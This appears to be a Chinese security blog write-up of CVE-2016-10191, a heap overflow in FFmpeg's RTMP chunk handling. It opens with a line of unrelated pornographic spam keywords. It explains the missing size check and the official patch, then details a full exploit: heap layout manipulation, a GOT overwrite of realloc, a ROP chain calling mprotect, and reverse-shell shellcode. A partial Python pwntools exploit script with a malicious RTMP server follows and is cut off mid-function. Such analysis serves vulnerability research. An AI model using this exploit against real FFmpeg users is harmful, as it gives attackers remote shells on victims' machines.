亚洲中字慕日产2020,大陆极品少妇内射AAAAAA,无码av大香线蕉伊人久久,久久精品国产亚洲av麻豆网站

資訊專欄INFORMATION COLUMN

CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞

HmyBmny / 3457人閱讀

摘要:二漏洞成因分析在協(xié)議中,最小的發(fā)送數(shù)據(jù)包的單位是一個(gè)。這次漏洞的起因是對(duì)于屬于同一個(gè)的的字段沒有校驗(yàn)前后是否一致,導(dǎo)致寫入堆的時(shí)候緩沖區(qū)溢出??梢圆渴鹪诙焉?,然后在程序中尋找合適的把棧指針遷移到堆上就行了。

作者:棧長(zhǎng)@螞蟻金服巴斯光年安全實(shí)驗(yàn)室

一、前言
FFmpeg是一個(gè)著名的處理音視頻的開源項(xiàng)目,使用者眾多。2016年末paulcher發(fā)現(xiàn)FFmpeg三個(gè)堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。網(wǎng)上對(duì)CVE-2016-10190已經(jīng)有了很多分析文章,但是CVE-2016-10191尚未有其他人分析過。本文詳細(xì)分析了CVE-2016-10191,是學(xué)習(xí)漏洞挖掘以及利用的一個(gè)非常不錯(cuò)的案例。

二、漏洞成因分析
在 RTMP協(xié)議中,最小的發(fā)送數(shù)據(jù)包的單位是一個(gè) chunk。客戶端和服務(wù)器會(huì)互相協(xié)商好發(fā)送給對(duì)方的 chunk 的最大大小,初始為 0x80 個(gè)字節(jié)。一個(gè) RTMP Message 如果超出了Max chunk size, 就需要被拆分成多個(gè) chunk 來發(fā)送。在 chunk 的 header 中會(huì)帶有 Chunk Stream ID 字段(后面簡(jiǎn)稱 CSID),用于對(duì)等端在收到 chunk 的時(shí)候重新組裝成一個(gè) Message,相同的CSID 的 chunk 是屬于同一個(gè) Message 的。

在每一個(gè) Chunk 的 Message Header 部分都會(huì)有一個(gè) Size 字段存儲(chǔ)該 chunk 所屬的 Message 的大小,按道理如果是同一個(gè) Message 的 chunk 的話,那么 size 字段都應(yīng)該是相同的。這次漏洞的起因是對(duì)于屬于同一個(gè) Message 的 Chunk的 size 字段沒有校驗(yàn)前后是否一致,導(dǎo)致寫入堆的時(shí)候緩沖區(qū)溢出。

漏洞發(fā)生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函數(shù)中,漏洞相關(guān)部分的源代碼如下

size = size - p->offset;    //size 為 chunk 中提取的 size 字段
//沒有檢查前后 size 是否一致
toread = FFMIN(size, chunk_size);//控制toread的值
if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {
ff_rtmp_packet_destroy(p);
return AVERROR(EIO);
}

在 max chunk size 為0x80的前提下,如果前一個(gè) chunk 的 size 為一個(gè)比較下的數(shù)值,如0xa0,而后一個(gè) chunk 的 size 為一個(gè)非常大的數(shù)值,如0x2000, 那么程序會(huì)分配一個(gè)0xa0大小的緩沖區(qū)用來存儲(chǔ)整個(gè) Message,第一次調(diào)用ffurlreadcomplete函數(shù)會(huì)讀取0x80個(gè)字節(jié),放到緩沖區(qū)中,而第二次調(diào)用的時(shí)候也是讀取0x80個(gè)字節(jié),這就造成了緩沖區(qū)的溢出。

官方修補(bǔ)方案
非常簡(jiǎn)單,只要加入對(duì)前后兩個(gè) chunk 的 size 大小是否一致的判斷就行了,如果不一致的話就報(bào)錯(cuò),并且直接把前一個(gè) chunk 給銷毀掉。

if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {

av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %dn",

size,

prev_pkt[channel_id].size);

ff_rtmp_packet_destroy(&prev_pkt[channel_id]);

prev_pkt[channel_id].read = 0;

}
+

三、漏洞利用環(huán)境的搭建
漏洞利用的靶機(jī)環(huán)境
操作系統(tǒng):Ubuntu 16.04 x64
FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/...編譯,需要把官方教程中提及的所有 encoder編譯進(jìn)去。)
官方的編譯過程由于很多都是靜態(tài)編譯,在一定程度上降低了利用難度。

四、漏洞利用腳本的編寫
首先要確定大致的利用思路,由于是堆溢出,而且是任意多個(gè)字節(jié)的,所以第一步是觀察一下堆上有什么比較有趣的數(shù)據(jù)結(jié)構(gòu)可以覆蓋。堆上主要有一個(gè)RTMPPacket結(jié)構(gòu)體的數(shù)組,每一個(gè)RTMPPakcet就對(duì)應(yīng)一個(gè) RTMP Message,RTMPPacket的結(jié)構(gòu)體定義是這樣的:

/**

structure for holding RTMP packets
*/

typedefstructRTMPPacket {
intchannel_id; ///< RTMP channel ID (nothing to do with audio/video     channels though)
RTMPPacketType type;       ///< packet payload type
uint32_t       timestamp;  ///< packet full timestamp
uint32_t       ts_field;   ///< 24-bit timestamp or increment to the    previous one, in milliseconds (latter only for media packets). Clipped to a  maximum of 0xFFFFFF, indicating an extended timestamp field.
uint32_t       extra;      ///< probably an additional channel ID used  during streaming data    //這個(gè)是 Message Stream ID?
uint8_t        *data;      ///< packet payload
int            size;       ///< packet payload size
int            offset;     ///< amount of data read so far
int            read;       ///< amount read, including headers
} RTMPPacket;

其中有一個(gè)很重要的 data 字段就指向這個(gè) Message 的 data buffer,也是分配在堆上??蛻舳嗽谑盏椒?wù)器發(fā)來的 RTMP 包的時(shí)候會(huì)把包的內(nèi)容存儲(chǔ)在 data buffer 上,所以如果我們控制了RTMPPacket中的 data 指針,就可以做到任意地址寫了。

我們的最終目的是要執(zhí)行一段shellcode,反彈一個(gè) shell 到我們的惡意服務(wù)器上。而要執(zhí)行shellcode,可以通過mprotect函數(shù)將一段內(nèi)存區(qū)域的權(quán)限修改為rwx,然后將shellcode部署到這段內(nèi)存區(qū)域內(nèi),然后跳轉(zhuǎn)過去執(zhí)行。那么怎么才能去執(zhí)行mprotect呢,當(dāng)然是通過 ROP 了。ROP 可以部署在堆上,然后在程序中尋找合適的 gadget 把棧指針遷移到堆上就行了。

那么第一步就是如何控制RTMPPacket中的 data 指針了,我們先發(fā)一個(gè) chunk 給客戶端,CSID為0x4,程序?yàn)檎{(diào)用下面這個(gè)函數(shù)在堆上分配一個(gè)RTMPPacket[20] 的數(shù)組,然后在數(shù)組下面開辟一段buffer存儲(chǔ)Message的 data。

if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
channel_id)) < 0)

很容易想到利用堆溢出覆蓋這個(gè)RTMPPacket的數(shù)組就可以了,但是這時(shí)候的堆布局?jǐn)?shù)組是在可溢出的heap chunk的上方,怎么辦?再發(fā)送一個(gè)CSID為20的 chunk 給客戶端,ff_rtmp_check_alloc_array會(huì)調(diào)用realloc函數(shù)給數(shù)組重新分配更大的空間,然后數(shù)組就跑到下面去了。此時(shí)的堆布局如下

然后我們就可以構(gòu)造數(shù)據(jù)包來溢出覆蓋數(shù)組了,我們?cè)跀?shù)據(jù)包中偽造一個(gè)RTMPPacket結(jié)構(gòu)體,然后把數(shù)組的第二項(xiàng)覆蓋成我們偽造的結(jié)構(gòu)體。其中 data 字段指向 got 表中的realloc(為什么覆蓋realloc后面會(huì)提), size 隨意指定一個(gè)0x4141, read 字段指定為0x180, 只要不為0就行了(為0的話會(huì)在堆上malloc一塊區(qū)域然后把 data 指針指向這塊區(qū)域)。

這之后我們?cè)侔l(fā)送 CSID 為2的一個(gè) chunk,chunk 的內(nèi)容就是要修改的 got 表的內(nèi)容。這里我們覆蓋成movrsp, rax這個(gè)gadget 的地址,用來遷移棧。接下來我們就把 ROP 部署在堆上。ROP 做了這么幾件事:

1 調(diào)用mprotect使得代碼段可寫
2 把shellcode寫入0x40000起始的位置
3 跳轉(zhuǎn)到0x400000執(zhí)行shellcode

發(fā)送足夠數(shù)量的包部署好 ROP 之后,就要想辦法調(diào)用realloc函數(shù)了,ffrtmpcheckallocarray函數(shù)調(diào)用了realloc, 發(fā)一個(gè) CSID 為63的過去,就能觸發(fā)這個(gè)函數(shù)調(diào)用realloc,在函數(shù)調(diào)用realloc之前正好能將RTMPPacket數(shù)組的起始地址填入rax,然后調(diào)用realloc的時(shí)候因?yàn)?got 表被覆寫了,實(shí)際調(diào)用了movrsp, rax,然后就成功讓棧指針指向堆上了。之后就可以成功開始執(zhí)行我們的shellcode了。這個(gè)時(shí)候整個(gè)堆的布局如下:

最后利用成功的截圖如下:
先在本機(jī)開啟一個(gè)惡意的 RTMP 服務(wù)端

然后使用ffmpeg程序去連接上圖的服務(wù)端

在另一個(gè)終端用nc監(jiān)聽31337端口

可以看到程序執(zhí)行了我們的shellcode之后成功連上了31337端口,并反彈了一個(gè) shell。

最后附上完整的exp,根據(jù)https://gist.github.com/PaulC...修改而來

#!/usr/bin/python
#coding=utf-8

importos
import socket
importstruct
from time import sleep

frompwn import *

bind_ip = "0.0.0.0"
bind_port = 12345

elf = ELF("/home/ffffdong/bin/ffmpeg")

gadget = lambda x: next(elf.search(asm(x, arch = "amd64", os = "linux")))
# Gadgets that we need to know inside binary
# to successfully exploit it remotely
add_esp_f8 = 0x00000000006719e3
pop_rdi = gadget("pop rdi; ret")
pop_rsi = gadget("pop rsi; ret")
pop_rdx = gadget("pop rdx; ret")
pop_rax = gadget("pop rax; ret")
mov_rsp_rax = gadget("movrsp, rax; ret")
mov_gadget = gadget("mov qword ptr [rax], rsi ; ret")
got_realloc = elf.got["realloc"]
log.info("got_reallocaddr:%#x" % got_realloc)
plt_mprotect = elf.plt["mprotect"]
log.info("plt_mprotectaddr:%#x" % plt_mprotect)

shellcode_location = 0x400000
# backconnect 127.0.0.1:31337 x86_64 shellcode
shellcode =   "x48x31xc0x48x31xffx48x31xf6x48x31xd2x4dx31xc0x6ax02x5fx6ax01x5ex6ax06x5ax6ax29x58x0fx05x49x89xc0x48x31xf6x4dx31xd2x41x52xc6x04x24x02x66xc7x44x24x02x7ax69xc7x44x24x04x7fx00x00x01x48x89xe6x6ax10x5ax41x50x5fx6ax2ax58x0fx05x48x31xf6x6ax03x5ex48xffxcex6ax21x58x0fx05x75xf6x48x31xffx57x57x5ex5ax48xbfx2fx2fx62x69x6ex2fx73x68x48xc1xefx08x57x54x5fx6ax3bx58x0fx05";

shellcode = "x90" * (8 - (len(shellcode) % 8)) + shellcode #8字節(jié)對(duì)齊

defcreate_payload(size, data, channel_id):
"""
生成一個(gè)RTMP Message
"""
payload = ""
    #Message header的類型為1
payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;
payload += "